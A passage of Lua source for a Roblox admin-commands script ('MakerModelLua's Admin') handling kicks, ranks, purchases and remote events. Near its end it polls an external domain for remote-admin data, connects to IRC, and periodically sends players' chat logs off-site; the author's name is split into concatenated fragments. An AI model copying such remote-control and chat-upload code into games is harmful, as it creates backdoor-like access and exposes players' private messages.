pairs(Settings.Ranks.Muted) do if Player.Name == Name then GUI:CoreGui(Player, "Chat", false) for _,Person in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5) end end end if Settings.ServerLocked == true then if PlayerAdmin == false then CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.") end end if PlayerAdmin == false then if Player.AccountAge < Settings.MinimumAge then CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.") for _,Person in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5) end end end if PlayerAdmin == false then if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end end coroutine.wrap(function() if PlayerAdmin == true then GUI:TellAdmin(Player) end local function SpawnActions(Character) if Flings[Player.Name] then CORE:FlingPlayer(Player) else GUI:CreateTaskBar(Player) end if Beeps[Player.Name] == true then SOUND:BeepPlayer(Player) end if Jails[Player.Name] then Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0)) end if PermCommandBars[Player.Name] then GUI:CommandBar(Player) end end Player.CharacterAdded:connect(SpawnActions) SpawnActions(Player.Character) end)() coroutine.wrap(function() Player:WaitForChild("PlayerGui") local Sounds = {} for _,Data in pairs(TextConverter.LetterSounds) do local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false) Sound:Play() table.insert(Sounds, Sound) end for _,Data in pairs(TextConverter.LongVowels) do local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false) Sound:Play() table.insert(Sounds, Sound) end wait(5) for _,Sound in pairs(Sounds) do Sound:Destroy() end Sounds = {} end)() coroutine.wrap(function() --if NLS then Server.Workspace:WaitForChild(Player.Name) end if IsSB then wait(1) Player:WaitForChild("PlayerGui"):WaitForChild("Output") end CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script}) print("Executed ClientLog on "..Player.Name) if Settings.EnableTaskBar then GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.") end end)() coroutine.wrap(function() wait(7) Player:WaitForChild("PlayerGui") if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"}) if Answer == "Ok" then MARKET:PromptPurchase(Player, AdminID) end end end)() end end)() end -- Active stuff -- CORE:UpdateAdmin() CORE:FixSettings() ypcall(function() if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {}) end end) Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then local PlayerAdmin, Rank = RANK:IsAdmin(Player) if PlayerAdmin == false then if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank) elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end end end end) --[[ ExecuteCommand.OnInvoke = function(Player, Command) if Player and Command then if type(Player) == "userdata" and Player:IsA("Player") then CORE:Chatted(Command, Player, true) end end end ExecuteCode.OnInvoke = function(Source, Speaker) if type(Source) == "string" then ExecuteSafe(Source, Speaker) end end ]] ExecuteCommandClient.OnServerInvoke = function(Player, Command) if Player and Command then if type(Player) == "userdata" and Player:IsA("Player") then CORE:Chatted(Command, Player, true) end end end KeyPressed.OnServerInvoke = function(Player, Key) if Player and Key then if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true) end end end InputKey.OnServerInvoke = function(Player, KeyVal) if Player and KeyVal then if LastKeys[Player.UserId] then table.insert(LastKeys[Player.UserId], KeyVal) if #LastKeys[Player.UserId] > 20 then table.remove(LastKeys[Player.UserId], 1) end end end end RankPlayerLocal.OnServerInvoke = function(Player) wait() local Request = PendingRequests[Player] if Request then if math.abs(tick() - Request[2]) <= 1 then -- Expired brah if Settings.Ranks[Request[1]] then PendingRequests[Player] = nil table.insert(Settings.Ranks[Request[1]], Player.Name) GUI:TellAdmin(Player) end end end end RankPlayerServer.OnInvoke = function(Player, Rank) if not RANK:IsAdmin(Player) then PendingRequests[Player] = {Rank, tick()} end end IsAdmin.OnServerInvoke = function(Player) local IsFullAdmin = false for _,PName in pairs(Settings.Ranks["Owner"]) do if PName == Player.Name then IsFullAdmin = true end end for _,PName in pairs(Settings.Ranks["Admin"]) do if PName == Player.Name then IsFullAdmin = true end end return IsFullAdmin end AddExploit.OnServerInvoke = CORE.AddExploit AddExploitServer.OnInvoke = CORE.AddExploit KickClient.OnServerInvoke = function(PlayerClient) PlayerClient:Kick() end ConvertTextToSound.OnServerInvoke = function(_, Text, Parent) return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent) end for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin() Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end) coroutine.wrap(function() for _,ID in pairs(Icons) do game:GetService("ContentProvider"):Preload("rbxassetid://"..ID) end end)() CORE:SetAbuseCommands() coroutine.wrap(function() SOUND:SyncSoundList() end)() if not IsStudio then coroutine.wrap(function() ypcall(function() RemoteData = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/RemoteData.txt")) end) coroutine.wrap(function() if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then REMOTE.RemoteConnection = true end end)() coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)() coroutine.wrap(function() local Request = nil ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end) if Request then REMOTE:HandleRequest(Request, true) end end)() coroutine.wrap(function() wait(RemoteData.RemoteAdminWait) while REMOTE:GetAndSetWebData() do wait(RemoteData.RemoteAdminWait) end end)() end)() end coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do REMOTE:SendChatLog() end end)() coroutine.wrap(function() while true do local ThisDate = REMOTE:GetURL(CORE.Domain.."/APIs/DateTime.php") if ThisDate then Date = ThisDate end wait(600) end end)() print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")